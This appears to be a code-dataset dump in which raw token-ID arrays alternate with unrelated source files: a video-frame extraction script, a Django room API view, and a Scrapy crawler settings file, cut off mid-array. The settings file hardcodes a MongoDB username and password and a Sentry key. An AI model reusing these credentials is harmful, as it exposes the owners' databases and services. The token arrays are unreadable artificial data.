1495,
13,
4706,
917,
29933,
798,
344,
7514,
5856,
29871,
353,
1583,
29889,
1359,
29918,
1990,
877,
28089,
29933,
798,
344,
7514,
5856,
1495,
13,
4706,
11856,
12191,
965,
353,
1583,
29889,
1359,
29918,
1990,
877,
7974,
12191,
1495,
13,
4706,
917,
29933,
798,
344,
12191,
4301,
1678,
353,
1583,
29889,
1359,
29918,
1990,
877,
28089,
29933,
798,
344,
12191,
4301,
1495,
13,
4706,
2391,
5074,
22107,
632,
353,
1583,
29889,
1359,
29918,
1990,
877,
1293,
5074,
22107,
1495,
13,
13,
4706,
396,
2767,
445,
1203,
29915,
29879,
1180,
1061,
13,
4706,
1583,
29889,
2029,
4097,
29889,
5504,
29898,
28089,
29933,
798,
344,
2500,
29918,
3524,
4097,
29889,
2029,
4097,
29897,
13,
13,
4706,
396,
2767,
278,
1180,
4097,
411,
1906,
515,
278,
12271,
13,
4706,
1583,
29889,
5504,
29918,
2029,
4097,
29918,
3166,
29918,
20348,
580,
13,
13,
4706,
396,
6230,
1813,
1203,
29915,
29879,
7117,
13,
4706,
1583,
29889,
4478,
1884,
539,
353,
3992,
7974,
3313,
29898,
1311,
29892,
13,
462,
462,
426,
13,
462,
462,
1678,
525,
3188,
29915,
259,
584,
525,
4478,
1884,
742,
13,
462,
462,
1678,
525,
726,
29915,
259,
584,
525,
4478,
726,
742,
13,
462,
462,
1678,
525,
7892,
29915,
584,
525,
4478,
3092,
29915,
13,
462,
462,
5615,
13,
4706,
1583,
29889,
6605,
6768,
268,
353,
917,
29933,
798,
344,
7514,
5856,
29898,
1311,
29892,
13,
462,
462,
11117,
3188,
22099,
6605,
6768,
29915,
1800,
13,
4706,
1583,
29889,
21720,
3986,
353,
2391,
5074,
22107,
29898,
1311,
29892,
10998,
3188,
22099,
21720,
29915,
1800,
13,
4706,
1583,
29889,
4478,
29918,
9902,
29871,
353,
11856,
12191,
29898,
1311,
29892,
13,
462,
462,
426,
13,
462,
462,
1678,
525,
3188,
29915,
418,
584,
525,
4478,
9902,
742,
13,
462,
462,
1678,
525,
2798,
29879,
29915,
1678,
584,
525,
21935,
29918,
2798,
29879,
742,
13,
462,
462,
1678,
525,
798,
29915,
539,
584,
525,
21935,
29918,
798,
742,
13,
462,
462,
1678,
525,
22492,
798,
29915,
29871,
584,
525,
21935,
29918,
22492,
798,
742,
13,
462,
462,
2981,
917,
29933,
798,
344,
12191,
4301,
29892,
13,
462,
462,
426,
13,
462,
462,
1678,
525,
978,
29915,
29871,
584,
525,
4351,
29918,
978,
742,
13,
462,
462,
1678,
525,
2798,
29915,
584,
525,
4351,
29918,
2798,
742,
13,
462,
462,
5615,
13,
13,
4706,
396,
2767,
278,
4163,
29915,
29879,
1180,
4097,
411,
445,
3618,
975,
24040,
13,
4706,
1583,
3032,
5504,
3524,
4097,
580,
13,
13,
13,
1678,
822,
903,
3198,
3524,
4097,
3403,
3192,
3744,
29898,
1311,
29892,
8030,
29879,
29922,
8516,
29892,
695,
1853,
2433,
3403,
3192,
3744,
29374,
13,
13,
4706,
1583,
3032,
3198,
3524,
4097,
29898,
8030,
29879,
29892,
695,
1853,
29897,
13,
13,
13,
1678,
822,
903,
3198,
3524,
4097,
12283,
12754,
29898,
1311,
29892,
8030,
29879,
29922,
8516,
29892,
695,
1853,
2433,
12283,
12754,
29374,
13,
13,
4706,
1583,
3032,
3198,
3524,
4097,
29898,
8030,
29879,
29892,
695,
1853,
29897,
13,
13,
13,
1678,
822,
903,
3198,
3524,
4097,
12754,
29898,
1311,
29892,
8030,
29879,
29922,
8516,
29892,
695,
1853,
2433,
12754,
29374,
13,
13,
4706,
1583,
3032,
3198,
3524,
4097,
29898,
8030,
29879,
29892,
695,
1853,
29897,
13,
13,
13,
1678,
822,
2740,
29918,
1454,
29898,
1311,
29892,
357,
1516,
1125,
13,
13,
4706,
736,
1583,
29889,
4478,
1884,
29889,
4478,
29918,
1454,
29898,
357,
1516,
29897,
13,
13,
13,
1678,
822,
2355,
29877,
29918,
3488,
29918,
4537,
29898,
1311,
29892,
29886,
5370,
2807,
1125,
13,
13,
4706,
736,
1583,
29889,
21720,
29889,
27102,
29918,
3488,
29918,
4537,
29898,
29886,
5370,
2807,
29897,
13,
13,
13,
1678,
822,
2355,
29877,
29918,
3488,
29918,
22925,
29898,
1311,
29892,
23445,
1125,
13,
13,
4706,
736,
1583,
29889,
21720,
29889,
27102,
29918,
3488,
29918,
22925,
29898,
23445,
29897,
13,
13,
13,
1678,
822,
679,
29918,
6671,
29918,
2798,
29879,
29898,
1311,
1125,
13,
13,
4706,
736,
1583,
29889,
4478,
29918,
9902,
29889,
6672,
29918,
2798,
29879,
580,
13,
13,
13,
1678,
822,
679,
29918,
13573,
3381,
29918,
2798,
29879,
29898,
1311,
1125,
13,
13,
4706,
736,
1583,
29889,
21720,
29889,
657,
29918,
13573,
3381,
29918,
2798,
29879,
580,
13,
13,
13,
1678,
822,
679,
29918,
3784,
29918,
3488,
29918,
4537,
29898,
1311,
1125,
13,
13,
4706,
736,
1583,
29889,
21720,
29889,
657,
29918,
3784,
29918,
3488,
29918,
4537,
580,
13,
13,
13,
1678,
822,
679,
29918,
2324,
29918,
3488,
29918,
20326,
29898,
1311,
1125,
13,
13,
4706,
736,
1583,
29889,
21720,
29889,
657,
29918,
2324,
29918,
3488,
29918,
20326,
580,
13,
13,
13,
1678,
822,
2740,
29918,
2914,
29918,
5727,
29898,
1311,
1125,
13,
13,
4706,
736,
4256,
29898,
1311,
29889,
4478,
29918,
9902,
29897,
13,
13,
1990,
917,
29933,
798,
344,
2500,
29918,
3524,
4097,
29918,
5160,
29898,
3318,
1125,
13,
1678,
9995,
2029,
4097,
363,
917,
29933,
798,
344,
2500,
1203,
15945,
29908,
13,
13,
1678,
1180,
4097,
353,
426,
13,
4706,
525,
3188,
29915,
965,
584,
376,
4268,
29922,
29937,
3396,
883,
613,
13,
4706,
525,
4478,
1884,
29915,
418,
584,
376,
4268,
21098,
1272,
29899,
8269,
613,
13,
4706,
525,
4478,
726,
29915,
268,
584,
376,
4268,
29922,
29937,
8269,
29899,
4478,
29899,
726,
613,
13,
4706,
525,
4478,
3092,
29915,
259,
584,
376,
4268,
21098,
8269,
29899,
4478,
29899,
7892,
613,
13,
4706,
525,
6605,
6768,
29915,
1678,
584,
376,
4268,
21098,
26586,
29899,
6510,
613,
13,
4706,
525,
21720,
29915,
308,
584,
376,
4268,
21098,
1761,
29899,
21720,
613,
13,
4706,
525,
4478,
9902,
29915,
29871,
584,
376,
4268,
29922,
29937,
4039,
1761,
613,
13,
4706,
525,
21935,
29918,
22492,
798,
29915,
1678,
584,
376,
4268,
29922,
29937,
4039,
1761,
260,
2587,
534,
29901,
20800,
29899,
974,
29899,
1853,
3319,
798,
29918,
1949,
1800,
613,
13,
4706,
525,
21935,
29918,
798,
29915,
308,
584,
376,
4268,
29922,
29937,
4039,
1761,
260,
2587,
534,
613,
13,
4706,
525,
21935,
29918,
2798,
29879,
29915,
418,
584,
376,
4268,
29922,
29937,
4039,
1761,
278,
328,
266,
10638,
613,
13,
4706,
525,
4351,
29918,
978,
29915,
539,
584,
376,
4268,
29922,
29937,
4039,
1761,
260,
2587,
534,
29901,
20800,
29899,
974,
29899,
1853,
3319,
798,
29918,
1949,
1800,
22599,
29901,
20800,
29899,
974,
29899,
1853,
29898,
29896,
29897,
263,
613,
13,
4706,
525,
4351,
29918,
2798,
29915,
418,
584,
376,
4268,
29922,
29937,
4039,
1761,
260,
2587,
534,
29901,
20800,
29899,
974,
29899,
1853,
3319,
798,
29918,
1949,
1800,
22599,
29901,
20800,
29899,
974,
29899,
1853,
29898,
29906,
19123,
13,
1678,
500,
13,
13,
1990,
917,
29933,
798,
344,
2500,
29918,
3524,
4097,
29918,
5160,
29918,
29906,
29898,
3318,
1125,
13,
1678,
9995,
2029,
4097,
363,
917,
29933,
798,
344,
2500,
1203,
15945,
29908,
13,
13,
1678,
1180,
4097,
353,
426,
13,
4706,
525,
3188,
29915,
965,
584,
376,
4268,
21098,
3396,
613,
13,
4706,
525,
4478,
1884,
29915,
418,
584,
376,
4268,
21098,
1272,
29899,
8269,
613,
13,
4706,
525,
4478,
726,
29915,
268,
584,
376,
4268,
29922,
29937,
8269,
29899,
4478,
29899,
726,
613,
13,
4706,
525,
4478,
3092,
29915,
259,
584,
376,
4268,
21098,
8269,
29899,
4478,
29899,
7892,
613,
13,
4706,
525,
6605,
6768,
29915,
1678,
584,
376,
4268,
21098,
26586,
29899,
6510,
613,
13,
4706,
525,
21720,
29915,
308,
584,
376,
4268,
21098,
1761,
29899,
21720,
613,
13,
4706,
525,
4478,
9902,
29915,
29871,
584,
376,
4268,
29922,
29937,
4039,
1761,
613,
13,
4706,
525,
21935,
29918,
22492,
798,
29915,
1678,
584,
376,
4268,
29922,
29937,
4039,
1761,
260,
2587,
534,
29901,
20800,
29899,
974,
29899,
1853,
3319,
798,
29918,
1949,
1800,
613,
13,
4706,
525,
21935,
29918,
798,
29915,
308,
584,
376,
4268,
29922,
29937,
4039,
1761,
260,
2587,
534,
613,
13,
4706,
525,
21935,
29918,
2798,
29879,
29915,
418,
584,
376,
4268,
29922,
29937,
4039,
1761,
278,
328,
266,
10638,
613,
13,
4706,
525,
4351,
29918,
978,
29915,
539,
584,
376,
4268,
29922,
29937,
4039,
1761,
260,
2587,
534,
29901,
20800,
29899,
974,
29899,
1853,
3319,
798,
29918,
1949,
1800,
22599,
29901,
20800,
29899,
974,
29899,
1853,
29898,
29896,
29897,
263,
613,
13,
4706,
525,
4351,
29918,
2798,
29915,
418,
584,
376,
4268,
29922,
29937,
4039,
1761,
260,
2587,
534,
29901,
20800,
29899,
974,
29899,
1853,
3319,
798,
29918,
1949,
1800,
22599,
29901,
20800,
29899,
974,
29899,
1853,
29898,
29906,
19123,
13,
1678,
500,
13,
2
] |
tools/extract_frames_from_videos.py | Jhong098/SignSense | 5 | 85906 | import cv2
import os
from os.path import join, exists
from tqdm import tqdm
import numpy as np
hc = []
def convert(gesture_folder, target_folder):
rootPath = os.getcwd()
majorData = os.path.abspath(target_folder)
print(majorData)
if not exists(majorData):
os.makedirs(majorData)
gesture_folder = os.path.abspath(gesture_folder)
print(gesture_folder)
os.chdir(gesture_folder)
gestures = os.listdir(os.getcwd())
print("Source Directory containing gestures: %s" % (gesture_folder))
print("Destination Directory containing frames: %s\n" % (majorData))
for gesture in tqdm(gestures, unit='actions', ascii=True):
gesture_path = os.path.join(gesture_folder, gesture)
os.chdir(gesture_path)
gesture_frames_path = os.path.join(majorData, gesture)
if not os.path.exists(gesture_frames_path):
os.makedirs(gesture_frames_path)
videos = os.listdir(os.getcwd())
videos = [video for video in videos if(os.path.isfile(video))]
for video in tqdm(videos, unit='videos', ascii=True):
name = os.path.abspath(video)
cap = cv2.VideoCapture(name) # capturing input video
frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
lastFrame = None
os.chdir(gesture_frames_path)
count = 0
# assumption only first 200 frames are important
while count < 201:
ret, frame = cap.read() # extract frame
if ret is False:
break
framename = os.path.splitext(video)[0]
framename = framename + "_frame_" + str(count) + ".jpeg"
hc.append(
[join(gesture_frames_path, framename), gesture, frameCount])
if not os.path.exists(framename):
lastFrame = frame
cv2.imwrite(framename, frame)
count += 1
os.chdir(gesture_path)
cap.release()
cv2.destroyAllWindows()
os.chdir(rootPath)
# convert("test_data/", "frames")
# print(hc)
| [
1,
1053,
13850,
29906,
13,
5215,
2897,
13,
3166,
2897,
29889,
2084,
1053,
5988,
29892,
4864,
13,
3166,
260,
29939,
18933,
1053,
260,
29939,
18933,
13,
5215,
12655,
408,
7442,
13,
13,
29882,
29883,
353,
5159,
13,
13,
13,
1753,
3588,
29898,
7118,
545,
29918,
12083,
29892,
3646,
29918,
12083,
1125,
13,
1678,
3876,
2605,
353,
2897,
29889,
657,
29883,
9970,
580,
13,
1678,
4655,
1469,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
5182,
29918,
12083,
29897,
13,
1678,
1596,
29898,
21355,
1469,
29897,
13,
13,
1678,
565,
451,
4864,
29898,
21355,
1469,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
21355,
1469,
29897,
13,
13,
1678,
29502,
29918,
12083,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
7118,
545,
29918,
12083,
29897,
13,
13,
1678,
1596,
29898,
7118,
545,
29918,
12083,
29897,
13,
13,
1678,
2897,
29889,
305,
3972,
29898,
7118,
545,
29918,
12083,
29897,
13,
1678,
7737,
1973,
353,
2897,
29889,
1761,
3972,
29898,
359,
29889,
657,
29883,
9970,
3101,
13,
13,
1678,
1596,
703,
4435,
18862,
6943,
7737,
1973,
29901,
1273,
29879,
29908,
1273,
313,
7118,
545,
29918,
12083,
876,
13,
1678,
1596,
703,
14994,
3381,
18862,
6943,
16608,
29901,
1273,
29879,
29905,
29876,
29908,
1273,
313,
21355,
1469,
876,
13,
13,
1678,
363,
29502,
297,
260,
29939,
18933,
29898,
7118,
1973,
29892,
5190,
2433,
7387,
742,
408,
18869,
29922,
5574,
1125,
13,
4706,
29502,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
7118,
545,
29918,
12083,
29892,
29502,
29897,
13,
4706,
2897,
29889,
305,
3972,
29898,
7118,
545,
29918,
2084,
29897,
13,
13,
4706,
29502,
29918,
19935,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
21355,
1469,
29892,
29502,
29897,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
7118,
545,
29918,
19935,
29918,
2084,
1125,
13,
9651,
2897,
29889,
29885,
12535,
12935,
29898,
7118,
545,
29918,
19935,
29918,
2084,
29897,
13,
13,
4706,
19707,
353,
2897,
29889,
1761,
3972,
29898,
359,
29889,
657,
29883,
9970,
3101,
13,
4706,
19707,
353,
518,
9641,
363,
4863,
297,
19707,
565,
29898,
359,
29889,
2084,
29889,
275,
1445,
29898,
9641,
28166,
13,
13,
4706,
363,
4863,
297,
260,
29939,
18933,
29898,
29894,
7958,
29892,
5190,
2433,
29894,
7958,
742,
408,
18869,
29922,
5574,
1125,
13,
9651,
1024,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
9641,
29897,
13,
9651,
2117,
353,
13850,
29906,
29889,
15167,
21133,
545,
29898,
978,
29897,
29871,
396,
4332,
3864,
1881,
4863,
13,
9651,
3515,
3981,
353,
938,
29898,
5030,
29889,
657,
29898,
11023,
29906,
29889,
29907,
3301,
29918,
8618,
29925,
29918,
29943,
4717,
2303,
29918,
18736,
876,
13,
9651,
1833,
4308,
353,
6213,
13,
13,
9651,
2897,
29889,
305,
3972,
29898,
7118,
545,
29918,
19935,
29918,
2084,
29897,
13,
9651,
2302,
353,
29871,
29900,
13,
13,
9651,
396,
11833,
871,
937,
29871,
29906,
29900,
29900,
16608,
526,
4100,
13,
9651,
1550,
2302,
529,
29871,
29906,
29900,
29896,
29901,
13,
18884,
3240,
29892,
3515,
353,
2117,
29889,
949,
580,
29871,
396,
6597,
3515,
13,
18884,
565,
3240,
338,
7700,
29901,
13,
462,
1678,
2867,
13,
18884,
22767,
3871,
353,
2897,
29889,
2084,
29889,
23579,
568,
486,
29898,
9641,
9601,
29900,
29962,
13,
18884,
22767,
3871,
353,
22767,
3871,
718,
11119,
2557,
27508,
718,
851,
29898,
2798,
29897,
718,
11393,
26568,
29908,
13,
18884,
298,
29883,
29889,
4397,
29898,
13,
462,
1678,
518,
7122,
29898,
7118,
545,
29918,
19935,
29918,
2084,
29892,
22767,
3871,
511,
29502,
29892,
3515,
3981,
2314,
13,
13,
18884,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
22328,
3871,
1125,
13,
462,
1678,
1833,
4308,
353,
3515,
13,
462,
1678,
13850,
29906,
29889,
326,
3539,
29898,
22328,
3871,
29892,
3515,
29897,
13,
18884,
2302,
4619,
29871,
29896,
13,
13,
9651,
2897,
29889,
305,
3972,
29898,
7118,
545,
29918,
2084,
29897,
13,
9651,
2117,
29889,
14096,
580,
13,
9651,
13850,
29906,
29889,
20524,
3596,
7685,
580,
13,
13,
1678,
2897,
29889,
305,
3972,
29898,
4632,
2605,
29897,
13,
13,
13,
29937,
3588,
703,
1688,
29918,
1272,
29914,
613,
376,
19935,
1159,
13,
29937,
1596,
29898,
29882,
29883,
29897,
13,
2
] |
api/views.py | julianarchila/music_controller | 1 | 99882 | <reponame>julianarchila/music_controller
""" Api views. """
# Django REST Framework
from rest_framework.viewsets import GenericViewSet
from rest_framework import mixins
# Serializers
from api.serializers import RoomModelSerializer
# Models
from api.models import Room
class RoomViewSet(
mixins.CreateModelMixin,
mixins.ListModelMixin,
GenericViewSet):
""" Room view set. """
serializer_class = RoomModelSerializer
queryset = Room.objects.all()
| [
1,
529,
276,
1112,
420,
29958,
29926,
352,
713,
1279,
4233,
29914,
23596,
29918,
8299,
13,
15945,
29908,
29749,
8386,
29889,
9995,
13,
13,
29937,
15337,
16759,
16657,
13,
3166,
1791,
29918,
4468,
29889,
1493,
7224,
1053,
3251,
293,
1043,
2697,
13,
3166,
1791,
29918,
4468,
1053,
6837,
1144,
13,
13,
29937,
18896,
19427,
13,
3166,
7882,
29889,
15550,
19427,
1053,
25114,
3195,
17679,
13,
13,
29937,
3382,
1379,
13,
3166,
7882,
29889,
9794,
1053,
25114,
13,
13,
13,
1990,
25114,
1043,
2697,
29898,
13,
4706,
6837,
1144,
29889,
4391,
3195,
29924,
861,
262,
29892,
13,
4706,
6837,
1144,
29889,
1293,
3195,
29924,
861,
262,
29892,
13,
4706,
3251,
293,
1043,
2697,
1125,
13,
1678,
9995,
25114,
1776,
731,
29889,
9995,
13,
1678,
7797,
3950,
29918,
1990,
353,
25114,
3195,
17679,
13,
1678,
2346,
842,
353,
25114,
29889,
12650,
29889,
497,
580,
13,
2
] |
gorden_crawler/settings.py | Enmming/gorden_cralwer | 2 | 165073 | <gh_stars>1-10
# -*- coding: utf-8 -*-
from __future__ import absolute_import
import logging
import os
from os.path import join, dirname
from dotenv import load_dotenv
from redis.sentinel import Sentinel
dotenv_path = join(dirname(__file__), '.projectenv')
if os.path.isfile(dotenv_path):
load_dotenv(dotenv_path)
else:
dotenv_path = join('/data/scrapyd/', '.projectenv')
if os.path.isfile(dotenv_path):
load_dotenv(dotenv_path)
PDB_TRACE = False
# sentry dsnaaa
SENTRY_ENABLE = os.environ.get("SENTRY_ENABLE", '0')
SENTRY_DSN = 'http://7c9fa825b1284f04a467fcbf7faf1c59:[email protected]/3'
SPECIAL_SPIDER_LIST = ['linkhaitao', 'json_spider', 'shangshangsp', 'amazon_usa_uk']
SIZE_TRANSFORM_LIST = ['allsole', 'forzieri', 'oshkosh', 'levi', 'saksoff5th', 'sevenforallmankind', 'eastdane',
'carters',
'shopbop', 'asos', 'rebeccaminkoff', 'sixpm', 'zappos', 'saksfifthavenue', 'thecorner',
'sierratradingpost', 'ralphlauren',
'katespade', 'bluefly', 'diapers', 'lordandtaylor', 'joesnewbalanceoutlet', 'ssense']
'''
SIZE_TRANSFORM_TEST:
None: production env
0: 不处理尺码
1: 批量爬虫批量更新Mongodb
2: 单个爬虫批量测试不更新Mongodb
3: 单个爬虫仅更新Mongodb当前商品尺码
4: 单个爬虫批量更新Mongodb
'''
SIZE_TRANSFORM_TEST = ''
# DOWNLOAD_HANDLERS = {'s3': None,}
# Scrapy settings for gorden_crawler project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
# http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html
# http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html
# DOWNLOADER_CLIENTCONTEXTFACTORY = 'gorden_crawler.downloader.contextfactory.CustomContextFactory'
BOT_NAME = 'gorden_crawler'
SPIDER_MODULES = ['gorden_crawler.spiders']
NEWSPIDER_MODULE = 'gorden_crawler.spiders'
# LOG_LEVEL = logging.WARNING
# LOG_FILE = os.environ.get("LOG_FILE", 'scrapy.log')
# Crawl responsibly by identifying yourself (and your website) on the user-agent
# USER_AGENT = 'gorden_crawler123 (+http://www.yourdomain.com)'
USER_AGENT = ''
REACTOR_THREADPOOL_MAXSIZE = 40
# Configure maximum concurrent requests performed by Scrapy (default: 16)
CONCURRENT_REQUESTS = 128
# Configure a delay for requests for the same website (default: 0)
# See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay
# See also autothrottle settings and docs
# DOWNLOAD_DELAY=1
# The download delay setting will honor only one of:
CONCURRENT_REQUESTS_PER_DOMAIN = 128
CONCURRENT_REQUESTS_PER_IP = 0
# Disable cookies (enabled by default)
COOKIES_ENABLED = False
RETRY_TIMES = 5
DOWNLOAD_TIMEOUT = 10
# Disable Telnet Console (enabled by default)
# TELNETCONSOLE_ENABLED=False
# Override the default request headers:
# DEFAULT_REQUEST_HEADERS = {
# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
# 'Accept-Language': 'en',
# }
# Enable or disable spider middlewares
# See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html
# SPIDER_MIDDLEWARES = {
# 'gorden_crawler.middlewares.MyCustomSpiderMiddleware': 543,
# }
# DOWNLOAD_HANDLERS_BASE = {
# 'http': 'gorden_crawler.downloader.handler.PhantomJSDownloadHandler',
# }
# Enable or disable downloader middlewares
# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html
DOWNLOADER_MIDDLEWARES = {
# 'gorden_crawler.middlewares.MyCustomDownloaderMiddleware': 543,
'scrapy.downloadermiddlewares.retry.RetryMiddleware': None,
'scrapy.downloadermiddleware.useragent.UserAgentMiddleware': None,
'gorden_crawler.contrib.downloadmiddleware.rotate_useragent.RotateUserAgentMiddleware': 1,
'gorden_crawler.contrib.downloadmiddleware.retry.RetryMiddleware': 500,
# 'gorden_crawler.middlewares.proxy_ats.ProxyMiddleware': 100,
# 'scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware': 110,
}
# Enable or disable extensions
# See http://scrapy.readthedocs.org/en/latest/topics/extensions.html
EXTENSIONS = {
# 'scrapy.telnet.TelnetConsole': None,
'gorden_crawler.extensions.signals.Signals': 10,
'gorden_crawler.scrapy_sentry.extensions.Errors': 11,
}
# Configure item pipelines
# See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html
ITEM_PIPELINES = {
# 'gorden_crawler.pipelines.SomePipeline': 300,
# 'gorden_crawler.pipelines.write_json.JsonWriterPipeline': 300
# 'scrapy_redis.pipelines.RedisPipeline': 300
# 'gorden_crawler.pipelines.cover_image.WoaiduCoverImage': 300,
# 'gorden_crawler.pipelines.mongodb_book_file.MongodbWoaiduBookFile' : 301,
# 'gorden_crawler.pipelines.drop_none_download.DropNoneBookFile' : 302,
# 'scrapy_redis.pipelines.RedisPipeline': 300,
'gorden_crawler.pipelines.mongodb.SingleMongodbPipeline': 303, # mongodb入库处理器
# 'gorden_crawler.pipelines.final_test.FinalTestPipeline' : 304,
'gorden_crawler.pipelines.realtime_handle_image.RealtimeHandleImage': None, # 实时爬虫图片处理队列
}
# Enable and configure the AutoThrottle extension (disabled by default)
# See http://doc.scrapy.org/en/latest/topics/autothrottle.html
# NOTE: AutoThrottle will honour the standard settings for concurrency and delay
# AUTOTHROTTLE_ENABLED=True
# The initial download delay
# AUTOTHROTTLE_START_DELAY=3
# The maximum download delay to be set in case of high latencies
# AUTOTHROTTLE_MAX_DELAY=60
# Enable showing throttling stats for every response received:
# AUTOTHROTTLE_DEBUG=False
# Enable and configure HTTP caching (disabled by default)
# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings
# HTTPCACHE_ENABLED=True
# HTTPCACHE_EXPIRATION_SECS=0
# HTTPCACHE_DIR='httpcache'
# HTTPCACHE_IGNORE_HTTP_CODES=[]
# HTTPCACHE_STORAGE='scrapy.extensions.httpcache.FilesystemCacheStorage'
# Enables scheduling storing requests queue in redis.
SCHEDULER = "gorden_crawler.redis.scheduler.Scheduler"
# Don't cleanup redis queues, allows to pause/resume crawls.
# SCHEDULER_PERSIST = True
# Schedule requests using a priority queue. (default)
# SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.SpiderPriorityQueue'
# Schedule requests using a queue (FIFO).<F2>
# SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.SpiderQueue'
# Schedule requests using a stack (LIFO).
# SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.SpiderStack'
# Max idle time to prevent the spider from being closed when distributed crawling.
# This only works if queue class is SpiderQueue or SpiderStack,
# and may also block the same time when your spider start at the first time (because the queue is empty).
# SCHEDULER_IDLE_BEFORE_CLOSE = 10
# # Store scraped item in redis for post-processing.
# ITEM_PIPELINES = {
# 'scrapy_redis.pipelines.RedisPipeline': 300
# }
# Specify the host and port to use when connecting to Redis (optional).
REDIS_HOST = os.environ.get("REDIS_HOST", 'localhost')
REDIS_PORT = os.environ.get("REDIS_PORT", 6379)
# Specify the full Redis URL for connecting (optional).
# If set, this takes precedence over the REDIS_HOST and REDIS_PORT settings.
REDIS_URL = os.environ.get("REDIS_URL", 'redis://localhost:6379')
MONGODB_SERVER = os.environ.get("MONGODB_SERVER", 'mongodb://yiya:yiya1504!!@localhost:27017/admin')
MONGODB_DB = os.environ.get("MONGODB_DB", 'shiji_crawler_items')
SHOP_MONGODB_SERVER = os.environ.get("SHOP_MONGODB_SERVER", 'mongodb://yiya:yiya1504!!@localhost:27017/admin')
SHOP_MONGODB_DB = os.environ.get("SHOP_MONGODB_DB", 'shiji_shop')
# redis config use sentinel
REDIS1_SENTINEL = os.environ.get("REDIS_SENTINEL", None)
if REDIS1_SENTINEL:
sentinel = Sentinel([(REDIS1_SENTINEL, 26379)], socket_timeout=0.1)
CRAWLER_REDIS_HOST = sentinel.discover_master('mymaster')[0]
else:
CRAWLER_REDIS_HOST = None
ITEM_NOTIFY_REDIS_HOST = CRAWLER_REDIS_HOST or os.environ.get("ITEM_NOTIFY_REDIS_HOST", 'localhost')
ITEM_NOTIFY_REDIS_PORT = os.environ.get("ITEM_NOTIFY_REDIS_PORT", 6379)
ITEM_NOTIFY_REDIS_PASSWORD = os.environ.get("ITEM_NOTIFY_REDIS_PASSWORD", None)
IMGAE_HANDLE_QUEUE_REDIS_HOST = CRAWLER_REDIS_HOST or os.environ.get("IMGAE_HANDLE_QUEUE_REDIS_HOST", 'localhost')
IMGAE_HANDLE_QUEUE_REDIS_PORT = os.environ.get("IMGAE_HANDLE_QUEUE_REDIS_PORT", 6379)
IMGAE_HANDLE_QUEUE_REDIS_PASSWORD = os.environ.get("IMGAE_HANDLE_QUEUE_REDIS_PASSWORD", None)
SIZE_TRANSFORM_QUEUE_REDIS_HOST = CRAWLER_REDIS_HOST or os.environ.get("SIZE_TRANSFORM_QUEUE_REDIS_HOST", 'localhost')
SIZE_TRANSFORM_QUEUE_REDIS_PORT = os.environ.get("SIZE_TRANSFORM_QUEUE_REDIS_PORT", 6379)
SIZE_TRANSFORM_QUEUE_REDIS_PASSWORD = os.environ.get("SIZE_TRANSFORM_QUEUE_REDIS_PASSWORD", None)
REALTIME_IMAGE_HANDLE_QUEUE_REDIS_HOST = CRAWLER_REDIS_HOST or os.environ.get("REALTIME_IMAGE_HANDLE_QUEUE_REDIS_HOST", 'localhost')
REALTIME_IMAGE_HANDLE_QUEUE_REDIS_PORT = os.environ.get("REALTIME_IMAGE_HANDLE_QUEUE_REDIS_PORT", 6379)
REALTIME_IMAGE_HANDLE_QUEUE_REDIS_PASSWORD = os.environ.get("REALTIME_IMAGE_HANDLE_QUEUE_REDIS_PASSWORD", None)
JS_CRAWLER_QUEUE_HOST = CRAWLER_REDIS_HOST or os.environ.get("JS_CRAWLER_QUEUE_HOST", 'localhost')
JS_CRAWLER_QUEUE_PORT = os.environ.get("JS_CRAWLER_QUEUE_PORT", 6379)
JS_CRAWLER_QUEUE_PASSWORD = os.environ.get("JS_CRAWLER_QUEUE_PASSWORD", None)
# yelp configuration
YELP_MONGODB_SERVER = os.environ.get("YELP_MONGODB_SERVER", 'mongodb://localhost:27017/admin')
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
5215,
12183,
13,
5215,
2897,
13,
13,
3166,
2897,
29889,
2084,
1053,
5988,
29892,
4516,
978,
13,
3166,
8329,
6272,
1053,
2254,
29918,
6333,
6272,
13,
3166,
29825,
29889,
29879,
15440,
295,
1053,
317,
15440,
295,
13,
13,
6333,
6272,
29918,
2084,
353,
5988,
29898,
25721,
22168,
1445,
1649,
511,
15300,
4836,
6272,
1495,
13,
13,
361,
2897,
29889,
2084,
29889,
275,
1445,
29898,
6333,
6272,
29918,
2084,
1125,
13,
1678,
2254,
29918,
6333,
6272,
29898,
6333,
6272,
29918,
2084,
29897,
13,
2870,
29901,
13,
1678,
8329,
6272,
29918,
2084,
353,
5988,
11219,
1272,
29914,
1557,
336,
2272,
29881,
29914,
742,
15300,
4836,
6272,
1495,
13,
1678,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
6333,
6272,
29918,
2084,
1125,
13,
4706,
2254,
29918,
6333,
6272,
29898,
6333,
6272,
29918,
2084,
29897,
13,
13,
29925,
4051,
29918,
5659,
11538,
353,
7700,
13,
13,
29937,
2665,
719,
18031,
1056,
7340,
13,
29903,
3919,
13207,
29918,
1430,
6181,
353,
2897,
29889,
21813,
29889,
657,
703,
29903,
3919,
